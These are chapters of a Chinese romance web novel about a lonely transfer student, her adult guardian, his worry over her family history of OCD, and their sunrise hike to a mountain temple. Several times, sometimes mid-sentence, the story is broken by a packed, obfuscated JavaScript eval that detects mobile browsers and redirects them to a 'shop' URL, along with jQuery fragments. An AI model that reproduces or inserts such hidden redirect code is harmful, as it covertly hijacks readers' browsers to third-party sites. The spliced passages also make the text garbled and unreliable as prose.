姜青杳将邵远年送给她的亮粉色的折叠手机拿出来,打开了手机,找到了联系人列表里唯一的联系人“邵远年”,犹豫了一番,一边咬着下唇一边思索斟酌着语句,将消息发送了出去。 姜青杳:「那个,邵远年,你现在忙吗?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661701|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到桌面手机震动的邵远年停下了手中的笔,有些疲惫地捏了捏眉心,拿起午休起来就没有管的手机,打开就发现是姜青杳发来的消息,于是笑了笑,在键盘上快速地打字。 邵远年:「不忙。怎么了?是在学校有什么事情吗?」 耳机里的节奏越来越弱,歌手的呢喃越来越轻,台下的嬉闹声短暂地扫过了姜青杳,她眨了眨眼睛,没忍住眼泪就这样啪嗒啪嗒地掉落在了自己的手臂上。她在新学校一点也不习惯,她想妈妈,想爸爸,想每天都能回家吃午饭在自己的一米五宽的硬木板床上午休,想能够下午最后一节课下了就狂奔出校去学校的小吃街买晚饭,然后一边和朋友谈笑着一边带着打包的晚饭回到座位。 她在这里一个朋友也没有。 最近距离的同桌,也好像是躲着她似的。 虽然也偶尔听到过有人议论过沈佩淑,说她个性就是如此孤僻。 越想越委屈,就像是高高兴兴舀出来的小金鱼本来好好地放在塑料袋里,在塑料袋那么大的水池里游来游去,突然被高兴奔跑的小孩摔了出去,水没有了,小金鱼也只能笨拙的在要被大地吸收的水渍里求死挣扎,她的悲伤就像被扎破的水球,哗啦啦哗啦啦地流,现实的泪水也啪嗒啪嗒掉。 姜青杳没忍住,圆圆的被修剪得过多而露出了一点红肉的大拇指在折叠手机下半部分的键盘上盲打着,眼睛其实都有点看不清候选键盘里的字,泪水蓄积在厚厚的镜片上。 她将委屈说给了邵远年听。 姜青杳一边哭一边想到哪里说到哪里,说数学题好难她总是不会压轴题,选择题的最后几个都是靠蒙和玄学求出来的;说她除了上厕所打水吃饭都躲在座位上写题,假装自己不是一个不合群的人,假装自己一个人是因为自己很忙要忙着学习,才不是因为没有朋友没有人陪;说她的同桌好像不太喜欢她,明明是最近距离的同桌,但是两个人这段时间说过的话加起来也不过两只手…… 也不知道过了多久,姜青杳揉了揉眼睛,拿出卫生纸擦眼泪和鼻涕,发现台下的同学都离开了,就连老师也都离开了。姜青杳好不容易被邵远年安慰好的阀门又要打开,发现体育馆外已经有下节课准备上课的人成群结伴地嬉闹着过来,于是将眼镜摘下来用衣服角擦了擦再戴上离开了。 五点的铃声一响,讲台上的老师就收起了课本,然后转身离开教室。 姜青杳身旁响起桌椅挪动的声音,后背刮起一阵风——沈佩淑又拿着书本出去了。 姜青杳暗自叹口气,没事的没事的没事的,你特别爱学习特别爱学习! 然后她就开始拿出练习册,一边啃着抽屉里拿出来的面包一边思考这个地理大题怎么分析。 “姜青杳!有人找!” 安静的教室突然有一个男生在门口扯着嗓子对着里面的人喊了一句,一时之间在教室里的零零散散的几个人都抬起头有些纳闷地看向门口,然后意识到这个陌生的名字好像是前不久才新来的转校生的名字,于是她们又继续低头做自己的事情。姜青杳也纳闷了,将手里的面包最后一块塞进嘴里,然后把笔盖盖上,将包装袋丢进斜后方的垃圾桶里,打算从后门走出去去看看到底是谁找她。 然后她就看到了穿着驼色大衣提着保温桶,笑着朝她招手的邵远年。 14. 14.粉条 姜青杳没有想到邵远年会在下课后就来,而且还是到学校找她。 她愣愣地被邵远年牵着手走,她宽大的校裤裤腿被他驼色的大衣衣摆摩擦,这样的场景像极了半个月前她站在他的身边,还在扭捏、拧巴的不想去学校住宿的时候,是袋鼠找妈妈。 还在想着等下出校门怎么和保安说,姜青杳就发现邵远年带她来到了学校的车库。 “滴”的一声,车锁解开了,他将车门打开看着她坐进副驾驶座位后又绕到一旁打开车门坐进去。刚坐进车内,温暖的暖气就包裹住自己的全身,有些热乎乎的,有点想出汗的感觉。 “为什么提前了?”她眨了眨眼睛,一边将衣袖撸起来一边扭头看向邵远年。 “因为你不开心。”邵远年依旧是很诚实地说出了理由,却在她的心尖刮了刮。 “我……”刚想说自己也不是小孩子了,她又抿了抿唇,接受了好意。 “你吃过晚饭了吗?”话到嘴边,转成了另一个话题,姜青杳问。 “嗯,吃过了,”邵远年点点头,“猜猜你今天的晚饭是什么?” 望着铁保温桶,姜青杳其实不想参与这种无聊的猜猜猜游戏,因为也很难猜出来。但是她不想扫兴,毕竟邵远年大老远跑过来给她送吃的,然后她听到他笑着说:“和你想吃的有关系。” 范围缩小了。 但是一时之间姜青杳发现自己想吃的太多了,挠了挠鼻尖:“我想吃的太多了,猜不出来。” 听到姜青杳难得这样口直心快地说自己的想法,邵远年笑了笑:“那你说说,下次会实现的。” 沙沙,沙沙。 是打了卷的绿叶在摩挲着她柔软的心尖,是温柔的月光在照拂着她黑暗的空间,是再次降临的春雨打湿了土地里的笋尖,竹笋在悄然的生长的声音。姜青杳怔住了好一会儿,才“嗯”了一声。 “剥皮鱼,”姜青杳抿了抿唇,“我想吃剥皮鱼。” “好,”邵远年冷峻的脸庞被他柔和的笑颜融化,“那今天先吃这个。” 说罢,他打开了保温桶,是一层撒了厚厚的糯米粉的粉蒸肉。不同的是,盖住下面的不知道是红薯还是土豆的粉蒸肉,大多是剔除了瘦肉的肥肉,亮亮地躺在了铁的保温桶里面,香香的。 姜青杳吞咽了一口口水,她确实不太喜欢吃瘦肉,而喜欢吃肥肉。 接过邵远年递过来的筷子,她好奇地翻动了盖在上面一层的肥肉被子,在下面藏着的切块土豆和切块红薯就这样迫不及待地露出来,她有些讶异地看向邵远年:“土豆和红薯都放啦?” “嗯,不知道你想吃哪个,我就都放了。”邵远年点点头,笑意满满。 知道她喜欢吃粉蒸肉上面的糯米粉,下面一层的土豆和红薯不知道是用什么办法,裹满了糯米粉,像是成为了一圈糯米丸子的它们紧挨着坐在铁的保温桶的上层,发出热气腾腾的香味。 但这只是第一层,邵远年将下面的保温桶的一层打开,装着汤的热气就这样飘出来。 愣了愣,本以为会是配米饭的,姜青杳没想到会是十几个饺子飘荡在白汤里面。 “饺子?”姜青杳以为是速冻水饺,有些不太想吃,她不喜欢吃肉馅的饺子。 “对,但是是我自己包的。”邵远年知道她的心思,说着就颔首示意她自己尝尝馅是什么样的。 能是什么样的呢?手工包的素馅饺子无非就是韭菜鸡蛋饺子,吃起来嘴巴有臭味的那种。 但是她还是用筷子戳起来一个饺子,好奇地小心地咬了一口,鸡蛋的芳香就冲入鼻腔。手接着饺子,她将筷子拿远,仔细看了看里面的馅是什么样的——结果一些剁碎了的红薯粉条就出现了。 一时之间大脑有些宕机。 她已经有好几年没有吃过粉条馅的饺子了。 上一次吃还是叶知舟不忙的时候在家里大包特包,连续吃了半个月的鸡蛋粉条馅饺子。 “你……”被哽住的话不知道如何说出来,眼泪啪嗒啪嗒落在自己接着筷子的手心里。 姜青杳把饺子吞入腹中,也努力将悲伤哽咽在自己的喉腔,吸了吸鼻子:“邵远年。” 低头找卫生纸巾的邵远年被她喊到名字,愣愣地抬眸看向她:“嗯?怎么了?” 一堆能够实现人愿望的角色在姜青杳的脑海里回荡,但是她发现那些要么有实现愿望的限制次数,要么有实现愿望要求给予献祭的美好物品,要么有实现愿望而必须踏上的艰难道路。 但是邵远年什么都不要,他就这样悄悄地主动地出现在了她的身旁。 就像是……仙女教母。 - 新学校的放假时间和以前的学校不同,一般是半个月才放两天周末的假。 现下,她偷偷从桌面上的木框镜子里看着坐在一旁戴着黑框眼镜看电脑上的文献的邵远年。 窗外的雨淅淅沥沥,就像是她这半个月来的心,潮湿又阴暗,生满回南天的水珠。 姜青杳小心翼翼地抬起手轻轻“摸了摸”镜子里的邵远年的头发,目光亲吻过他露在外面的肌肤的每一寸每一分。灰鹅色的针织开衫和白色衬衫还有湿哒哒的头发,组成了邵远年。她最近像是中了蛊,总是会在做题的时候偷偷观察邵远年,观察他究竟是有什么地方吸引她着了迷入了魔。 她不在乎电脑屏幕里亮起来的英文,不在乎放在手边的喜欢吃的青芒块,不在乎时间的流逝。 她只在乎他。 她观察过一些恋爱的高中生,她们的爱情总是来得突然,退得又迅疾。 就那样跳过了小说里面说的青涩的好感、苦涩的暗恋、甜蜜的初恋,直接爱得死去活来。 就像是一双无形的手将女生和男生的红线圈困在一起,像是养殖场的种猪,就这样“爱”上了。 她很好奇,真的爱上一个人到底是什么感觉?她不知道。 教科书不教学生如何确认心动,也不教如何控制心动而不发生这个年龄承受不了的亲密接触。 所以,姜青杳知道她翻遍手里的教科书也得不出这样的疑问的答案。 她只知道,她和邵远年相处的时候,就像是手臂上蚊子咬的包痒痒的。 又像是痛经,在没有注意到月经来之前,还不会痛经。 在注意到邵远年是一名男性,和她生理上有着不同性别的男性时,她才意识到有些酸涩。 酸涩的是她小小的,邵远年却是一名已经拥有恋爱资格的成年人。 意识到如果在没有恋爱资格的她还没有长大的时候,邵远年已经有了心爱的人,她会难过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661702|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在这半个月和邵远年的相处中,姜青杳发现她成为了小动物。 她是鹦鹉,没有了邵远年她就会寂寞抑郁到拔自己的毛。 她是小狗,没有了邵远年她的尾巴就不再会快乐地摇摆。 她是小蛇,没有了邵远年她只能寂寞地圈住自己——但她应当紧紧缠绕住他。 所以,究竟是什么让她中了蛊似的总想看看他?是他左手手背那颗棕色的痣,是他手臂上的青筋,是他摸起来硬硬的大臂,是他圆润的喉结,是他好看的薄唇,是他高挺的可以滑滑梯的鼻梁,是他笑起来像狐狸眯眯眼的眼,还是他面无表情时和她一样凶的剑眉? 姜青杳默默看着镜子里邵远年的背影,想到了无数个深夜他靠在车旁边等她下课的身影。 她常常喜欢跟在邵远年的斜后方,她就可以同时看到他的侧脸和他说话时好看的喉结。 说起喉结,她那晚洗澡的时候站在镜子前,抬手摸了摸自己的喉结,然后她问自己——“喉结是一个男性魅力的象征吗”?那为什么她会有男性魅力的象征?她呆呆地看着镜子里自己的身体。 她从未主动观察过自己的身躯,现在隔着雾气腾腾的玻璃,她感觉自己像剥光羽毛的小鸡,稚嫩,脆弱,光滑。她的肌肤并不是如此的完美,有的地方有着疙瘩,有的地方有着粉刺。 男性和女性的身躯终究是不一样的,她看着自己的身躯终究幻想不出邵远年的身躯。 但是和邵远年相处的时候,她总觉得“他”是“她”。 难道是因为邵远年有着一般男性不存在的魅力特征——即他的身上有着母性? 她舔了舔有些干燥的下唇,然后继续用眼神勾勒邵远年宽厚的背影。 他的头发像是她玩过的游戏里面林克的长发。 每次要做饭的时候,邵远年就把他的头发扎起来,有时候看着她在旁边会问她借一借她头发上的熊猫发夹夹上,更多的时候是忙着手里的活,喊她一声,她就高高兴兴地踮着脚帮他别上发夹。 邵远年的个头很高,将近一米九的身高,她要仰起头才能和他的眼睛对视。 但更多的时候她会是俯视或者是平视。 每次吃完晚饭她就会站在沙发上看电视,然后邵远年就会给她投喂她喜欢吃的切块的水果。她常常在沙发上走来走去,邵远年也会跟着她走来走去,在电视情节跌宕起伏的时候,她就会愣神看电视剧里面的情节,这个时候邵远年笑着就会给她塞一口水果,之后在跟她一起看电视。 她看的大多是动漫。她曾经问邵远年,你会不会觉得这些动漫很幼稚? 然后她就看到邵远年摇摇头,说“不会,我觉得你看的这些动漫很有意思”。 再后面,她就会拥有一些邵远年时不时送来的动漫周边,他说这叫什么……“吃谷”? 邵远年的身躯很健壮,应该是因为常常健身吧? 每次周三下晚自习,她总是会扑到邵远年怀里,然后感觉到硬硬的身躯。 邵远年腰部有痒痒肉,她扑到他怀里的时候,他常常会一边喘气一边哈哈大笑。 他笑起来很好看,大大的邵远年就像是一只巨大的缅因猫,温柔的巨人。 她不确定这究竟是不是爱,因为爱过分沉重,但她确定,这是依赖。 15. 15.烤肠 “与单纯的强迫障碍相比,伴有分裂型障碍者起病相对较急、强迫症状比较荒谬、患者对症状顺从、自知力差、病情与社会功能障碍较重。分裂型障碍被认为是精神分裂症谱系的一部分……有专家提出伴有精神病性症状的强迫障碍及自知力不良型强迫障碍作为一个亚型,称为‘分裂型强迫障碍’或‘妄想型强迫障碍’……”邵远年的鼠标一一划过网页上搜出来的内容,眉头皱得更深了。 骨节分明的细长手指翻过厚厚的已经泛黄的纸张,邵远年黑框眼镜后面的绿色瞳仁细细看着纸张上面的字,然后时不时抬起头仔细看着电脑屏幕里的期刊,再拿起笔在纸张上圈圈写写。 一般来说,这个时候岁岁负责写卷子,他负责改卷子。在岁岁写卷子的时候,他就在电脑上查找一些医学的核心期刊,想找一下有关强迫障碍的期刊,再结合她未来会经历的事情,拟一个计划表去避免那些可能会在二十岁之前过早的出现强迫性障碍的情况。看了许多期刊,发现这个年代有关强迫性障碍的期刊不是很多,而且越看这些期刊,邵远年越觉得很难排除掉精神分裂的情况。 岁岁的家族是有遗传性精神疾病的。根据他看的2003年第11卷第2期中《有无遗传史的强迫症患者心理及生物学指标比较研究》这篇文献,阳性家族史者20岁以前发病者为54%。而岁岁的外婆陈丽茹就是精神分裂,再后面,姜蝶也会出现双相情感障碍的情况。她的患病可能性大大增加。 摘下黑框眼镜,邵远年捏了捏眉心,缓缓叹口气。 强迫症几乎可以说是明显导致社会功能残疾的难治性精神疾病之一,就他现在所看的《中/国健康心理学杂志》2008年第16卷第10期的《强迫症疾病行为的精神病理机制研究》的开头也说了,普通人群终生患病率为2%~3%,药物治疗的缓解率仅为40%~60%。 他无力也无法阻拦强迫性障碍在岁岁身上的外显,他只能做到让她正视强迫症和自我和解。 就像是手指拇肚会有像年轮一样的纹路,岁岁的人生无法和“强迫症”这三个字割裂。 鼠标咔哒咔哒点击了几下,邵远年微微俯身关掉了电脑的主机,随后漂亮细长的手指按了按电脑屏幕下面的休眠键。刚转过身就看到姜青杳像是警惕的兔子吓了一跳,慌乱翻着卷子的页面。 “岁岁,又在走神。”邵远年说。 他刚摘下眼镜,转身就发现姜青杳愣愣地趴在桌子上走神。 呆呆的,像是一只不知道怎么飞行的小麻雀被放在了高处,愣愣地看着下面。 眼前像小橘子一样热烈的少女最终会枯萎成干涩的被丢弃在垃圾桶里的橘子皮。 看着眼前的少女可怜巴巴地眨巴眨巴眼睛看着他,他也就说不出什么重话了。 邵远年再次无可奈何地叹口气,却被姜青杳以为是对她有些失望。 姜青杳看到邵远年要走过来,于是慌忙翻了一页,将那洇出一大团黑墨水的地方欲盖弥彰地遮掩,殊不知这样明显的印记在邵远年站起身的时候就看到了——毕竟这一页全是空白,只有黑墨。 正要开口狡辩,姜青杳就感觉到停顿在他身旁的邵远年微微俯身,一手环住她瘦弱的肩膀,一手将她刚刚欲盖弥彰翻过遮掩的那一页翻回来,显现在两个人的面前:“……” 本以为会得到邵远年的说教,毕竟她马上就要高三,可是她还没有赶上新学校的进度。结果只听到头顶传来一道清朗的笑声,邵远年像是母猫舔舐幼崽那般揉了揉她披散的水母短发。 “学累了就休息会儿吧。”他说着,将放在一旁的青芒推到她的手臂边。 姜青杳看向有些软烂的青芒果果肉,橙黄色的亮亮的,青涩的外皮下面也会有成熟的果肉。 她突然想到了自己那不可说的心绪,青涩的外皮下面也会有成熟的明黄色的果实吗? “明天周六,要不要去爬山?”邵远年抿了抿唇,垂眸看向走神的小麻雀。 “爬山?”姜青杳愣愣地扭头看向邵远年,她还没有爬过山,也不知道有啥好玩的。 “嗯,可以看日出,或者看日落。”他淡淡解释道。 “会离太阳很近吗?”姜青杳突然这样问道。 “……会吧?会看到太阳从天际线慢慢上升,或者下降。”他继续解释道。 “那我想看日出。”姜青杳笑着说,毕竟日落在哪里都能看到。 “不问问我为什么想看日出但是不看日落嘛?”她继续笑着歪头问。 “嗯,为什么呢?”邵远年配合地询问。 “因为这个。”她说着,俯身拿起放在一旁的摘抄本,手指了指上面摘抄的诗。 是戴望舒的《在天晴了的时候》这首诗:「新阳推开了阴霾了,溪水在温风中晕皱,看山间移动的暗绿——云的脚迹——它也在闲游。」 “所以,我想去看看‘新阳推开了阴霾了’的样子。” “也许这样,我的心能够更加开阔一点。” - 只是姜青杳没想到看日出就得凌晨两三点的时候爬起床来。夜半的时候她就听到邵远年轻轻敲阳台门的声音,有些迷迷糊糊地揉了揉眼睛,然后就被手电筒照亮了整个房间,顶着鸡窝头看他。 待姜青杳洗完头发刷完牙洗完脸,准备好一切出门的时候已经三点半了。 山上的气温低,邵远年带了两件厚长的羽绒服,还带了半夜做的一点吃食放在保温桶里面。邵远年开车的时候,姜青杳就躺在副驾驶的座位上补觉。好在,要爬的山一个小时多的路程就到了。 山的最顶上有一座寺庙,到的时候已经快五点了。停车场在山脚的最角落,车不是很多。 车内的暖气包裹着熟睡的姜青杳和小憩的邵远年。 他算过时间,按照他和岁岁的行走速度,可以休息半个小时再去爬山看日出。 突然,姜青杳的手表响起声音嗡嗡地震醒了她:“来不及了!” “嗯?”邵远年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661703|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚入睡没多久,被姜青杳的声音喊醒,声音还有些低沉,“怎么了?” “听说烧头香的效果更灵验一点,既然要看日出,那我们就努力烧个头香试试!” 邵远年没想到姜青杳还搜了搜这样的知识,笑了笑,应了一声“好”。 刚下车,山腰的冷空气就袭来,姜青杳裹紧了在车上加上的厚长的羽绒服,哈了口白气,然后笑着看向邵远年:“你看诶,这里哈的气比咱们在冬天哈的气白多了,哈——” 说罢,她又哈了一口气,感觉自己好像在拉面馆下面的面桶前,感受到浓浓的白气。 看到姜青杳明艳的笑容,邵远年也跟着哈了一口气,两团气在空气里碰撞,像是碰碰车。 见邵远年和自己一样幼稚地哈气,姜青杳的笑颜更甚:“我有点期待冬天了,想看雪。” 蓬松的像是水母游荡的头发在空气中摇摆,她转身朝着山比了一个“go”的手势:“出发!” 这座山并不是特别陡峭,高度也不是很高,邵远年曾经爬过这座山,他觉得对于初次爬山的人来说是刚刚好的水平,她们也就没有买登山杖之类的东西,只是……刚到检票处就买了别的东西。 姜青杳舔了舔有些馋的嘴角,看着烤箱里热腾腾地转动的金黄色的墨鱼丸子,饱满圆润的墨鱼丸子在涂刷了一层油面后更加香脆,可以想象到咬了一口嘴里崩出油汁的感觉,她吞了吞口水。 邵远年刚从检票处买了门票,就看到站在大厅内呆愣愣站在烤箱前面的姜青杳,无奈地摇头笑笑,迈着沉稳的步伐走向她的身侧,将钱包再次拿出来,清朗的声音在她的身侧响起:“要哪个?” 她“嘿嘿”地笑了笑,指了指烤箱里刚炸裂出一层裂缝的烤肠和圆滚滚的墨鱼丸子:“都想要。” 知道她嘴馋,虽然他提着的包里有带的保温桶里的吃食,但是她想吃他就让了,没有多说别的话,只是指了指旁边的米酒桶,问:“这里还有米酒,想不想喝?要不要再拿几个茶叶蛋?” “真的?我都要!”姜青杳眼睛亮亮的,欢呼道。 没多久,姜青杳手上拿着一串烤肠和一串墨鱼丸子,小拇指勾着米酒的袋子和茶叶蛋的袋子,一边走一边吃着跟着邵远年进了检票的闸机,正式开启了她人生中的第一次爬山经历。 见身旁的少女像是小猫一样吃得呀米呀米的,邵远年拿出卫生纸喊她停住,姜青杳便停住了看向他,他就拿起卫生纸擦了擦她嘴角差点掉落下来的油渍:“小心一点,弄到衣服上就难洗了。” “噢,”姜青杳点点头,下意识说出了自己的想法,“这不是有你在嘛,我不用担心这些。” 话说出口才察觉出来自己话里蕴藏的那青涩的果实,担心自己的果实还在没有成熟的时候就被她盲目地摘下,最终掉落到土壤里腐烂掉,她又吞咽了一口口水:“我的意思是,你很可靠。” 愣了愣,邵远年抿唇一笑,没有多说什么,只是说:“那谢谢你的夸奖。” 16. 16.鸭蛋 在那之后的食物姜青杳都觉得味同嚼蜡,话题随着包装袋和竹签丢紧垃圾桶里彻底结束,但是她心里那说不清道不明的感觉却还在心脏和血管里冲撞,就像是在土壤里疯狂扎根生长的嫩芽。 山的石阶很窄,窄到她在想或许她应该手脚并用这样爬上去才不会担心自己坠落。她总是得低头看着脚下的石阶,担心自己一脚太大而重心错误踩空。但是这样的感觉让她找到了老城区房屋的感觉,老城区的破老小房子就是这样的台阶,参差不齐的,让人常常低眸注视着自己脚下的路。 爬山的通道很陡峭又很窄小,姜青杳左手抓着栏杆一步步往上爬,邵远年走在她的斜后方护着她担心她掉下来,她们之间的距离就这样小到塞不下多余的第三个人,她们紧紧相依。 没多久,她就感觉气喘吁吁了,有些疲惫地耷拉着头,双手抓着扶手,然后像是长臂猿过河流抓着藤蔓一样吊在那里,扭头问斜后方的邵远年说着:“邵远年,我觉得我需要休息一下。” 闻声,邵远年抬头看了看中途休息的亭子还在前面一大截的路上:“那就坐在台阶上吧。” 话音刚落,姜青杳就一屁股坐在了石阶上,将吸管插入米酒里面开始喝有点凉了的米酒,甜甜的很浓稠,一些碎碎的桂花沫沫在她的吸管的搅动下飞舞,喝完长长的一口,舒缓地叹了口气。 担心会挡道,邵远年坐在姜青杳正下面的一个石阶上,开始帮她就着塑料袋来剥茶叶蛋的鸡蛋壳子,剥完后将装有茶叶蛋的塑料袋扭头递给姜青杳:“吃口鸡蛋补充一下体力。” 听到邵远年的话,她抬头看向他的方向,一抬头就看到了下面雾气腾腾的山,吓得姜青杳害怕得抖了抖,连忙抓紧扶手栏杆,颤颤巍巍地说着:“这山怎么这么高啊?” 想起来姜青杳畏高,他抿了抿唇,站起身来拍了拍身上的灰,站在姜青杳的面前挡住了她的视线,温柔地垂眸看着她说:“没事,我帮你挡住了,你实在害怕的话就抓紧我的手,我在呢。” 本以为抬起头就能看到邵远年的脸,姜青杳没想到需要仰起头甚至是快要半躺在石阶上才能看清邵远年在微弱的光下面温柔的眉眼和嘴角的笑容。眨了眨眼睛,她吞咽了一口贪恋美色的口水。 看着呆呆愣愣的姜青杳,邵远年手握住扶手,微微俯身靠近她,然后看着她向后倒,带着笑意的眼睛看向她的眼眸:“小心点,等下一口吃下一个茶叶蛋别又噎到了。” 但是吧,有的时候,有些东西就是很奇怪。 当你说着小心点免得怎么样怎么样了,下一秒也许就会发生这样那样的事情。 果不其然,姜青杳愣愣地将茶叶蛋一口塞进嘴里后,感觉胸口哽住了一个严严实实的石墩。 “咳咳咳咳咳!!!”她只好一边捶着胸口一边努力往下咽。 邵远年赶忙拿起来被姜青杳放在一旁的米酒,皱着眉头递到她的嘴边,看着她喝了下去。 好不容易将茶叶蛋咽下去的姜青杳连忙将米酒的最后两口喝完了压压惊:“好险,好险。” 刚说完,她就听到一声冷哼在自己的头顶响起,下意识抬眸看向邵远年冷峻的脸,抿起来的薄唇。有些不好意思地挠了挠耳后的头发,姜青杳小声说:“没事啦没事,现在这不好好的吗?” 邵远年有些无奈,姜青杳吃饭总是特别快,时不时会像是游戏里的NPC刷新日常任务一样,然后突然被什么东西噎住。虽然每次都没有发生什么很糟糕的事情,但是这种习惯并不好。 “咚!”邵远年发出拟声词,将握成拳头的手轻轻压在姜青杳毛绒绒的头发上。 “哇,干嘛啦!”姜青杳捂住头,虽然不是很疼,但是突然这样也把她吓了一跳诶! “打地鼠,”邵远年说,“因为感觉你一直在挑衅我。” 刚想说自己怎么算挑衅了,就想起来邵远年明明说了不要一口吞一个茶叶蛋,但是她还是下一秒一口吞下一个茶叶蛋还被噎住了的事情,姜青杳有些不好意思地尴尬地抿了抿唇,嘿嘿一笑。 这样惊险的小插曲就这样过去了,姜青杳站起来拍了拍屁股上的灰,和邵远年继续前行。越往上走,石阶越陡峭,甚至有的石阶都掉了一块缺了一口,姜青杳又想起来之前看到的高高的山。 这要是摔下去,那不就是这一块那一块的吗? 有些害怕地抖了抖,姜青杳改成双手抓着扶手栏杆向上走了。 “诶,邵远年,我好像看到山上的寺庙了。”姜青杳扭头,兴奋地看向邵远年说着。 下意识地侧身扭头,让姜青杳没有注意到脚下有一块缺了口的石阶,一下子滑了一下,还好紧紧抓住了扶手栏杆,还好邵远年一直在身后护着她。虚惊一场的姜青杳吓得不敢说话了。 还好没几步就是山顶了,邵远年扶着姜青杳一步一步上了台阶,带着她到亭子里休息。 “我去给你买杯热茶压压惊。”邵远年说着,准备离开。 “别,别!陪我在这坐会儿就好。”姜青杳急忙拉住了要离开的邵远年,可怜巴巴地看着他说。 低眸看到眼前的少女可怜兮兮地撅着嘴看向自己,邵远年有些无奈,只好握住她的手陪她坐在亭子里面的同一块石板凳上,两个人挨在一起像是互相取暖的小刺猬。姜青杳笑嘻嘻地靠紧邵远年的肩膀,装作自己怕冷的样子将手塞进他羽绒服的口袋里,感受着他口袋里的温暖。 姜青杳眨了眨眼睛,在邵远年紧握自己的手的时候她有了看向山下的勇气。 “邵远年,我明明很怕高,但是我看到高处总是想跳下去,是为什么呢?” “可能是大脑的保护机制吧,给你创造发生的恐慌而提醒你不要去做这样危险的事情。” 说罢,邵远年好像是被点醒一般,快速眨了眨眼睛,扭头看向姜青杳——他好像知道为什么姜青杳的强迫症那么根深蒂固了,因为她害怕这个世界的很多东西超过了一定的界限。 “是吗?”姜青杳晃动了一下双腿,看着自己的黑色运动鞋鞋尖在地面上左右摇摆。 “好像也是,”姜青杳突然想起来一件事情,“就像是我见到润润,我害怕再次失去而避免打算避免开始。说起来,感觉人真的是一个很复杂很复杂的生物,你说对吗?邵远年。” 没等邵远年开口回答,她继续说:“我突然想到了我那个,怪怪的同桌。” 邵远年没有说话,而是轻轻地“嗯”了一声,示意姜青杳继续说下去。 “我之前一直觉得沈佩淑很奇怪,总是躲着我似的。直到后来,我听到别人说她其实一直就是这样的一个人,总是独来独往的,用她们说的词是孤僻,”姜青杳抿了抿唇,继续说,“但是也许她是和我一样,经历过失去了润润的事情,所以才不愿意和现实的人再产生这样的羁绊,害怕失去。” 眨了眨眼睛,邵远年看向姜青杳。 他不知道她说的对不对,但是至少他知道沈佩淑这样做是有原因的。 “那你和你的同桌,现在怎么样呢?”邵远年好奇地问。 “嚯,说起来这个!”姜青杳像牛一样哼哼了几声,“她除了上课的时候在教室,其他时候都跟传送了任意门一样消失在教室里。说真的,我都有点佩服她了,她的运动能力一定很强。” 听到姜青杳这样的形容,邵远年没忍住笑了笑:“那你想和她做朋友吗?” 愣了愣,她在思考沈佩淑这座大冰山融化的模样,她发现想象不出来,于是摇了摇头,然后又点了点头:“也许会想要和她做朋友吧,毕竟她其实对我也挺好的,我有几次上课被点起来回答问题,是她把草稿纸上的计算过程递给我让我照着念出来的。还有还有,我打瞌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661704|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡都没有被老师发现过,也许也有她及时戳了戳我的胳膊肘的原因在吧……”这样一说,她发现沈佩淑也不是很冷淡。 邵远年轻笑,抬起手揉了揉她的头发:“那就顺其自然。” 姜青杳点点头:“嗯,顺其自然。” - 在寺庙外面的小亭子休息了一段时间后,姜青杳和邵远年又拍了拍身上的灰起身出发到寺庙里面。刚进寺庙,就有人拦住她们说可以看手相,然后能送平安符保佑平安。邵远年不信这些,准备拉着姜青杳的手离开,就听到那个阿姨神秘兮兮地说:“小伙子,你求的东西这次必有贵人相助。” 愣了愣,邵远年下意识停住在原地,他当初求的第三十八签找道士解签也是这样说的。本想继续追问那个阿姨,没想到那个阿姨怎么也不肯说她刚刚说的那个话题,只是拉着姜青杳的手翻来覆去地看,说什么吉人自有天相,说什么万福平安寿命绵长,又说什么行行好捐点功德钱。 邵远年便觉得这个阿姨只是会说点漂亮话刚好误打误撞罢了。 但是姜青杳深信不疑,她一边听阿姨看她的手相说她的人生轨迹,一边连连点头,时不时还惊呼:“阿姨,你说得也太准了吧!我当时就是这样的,邵远年,你要不着阿姨也问问?” 闻言,邵远年再看向那个阿姨,发现那个阿姨依旧笑眯眯地看着她们俩:“算了。” 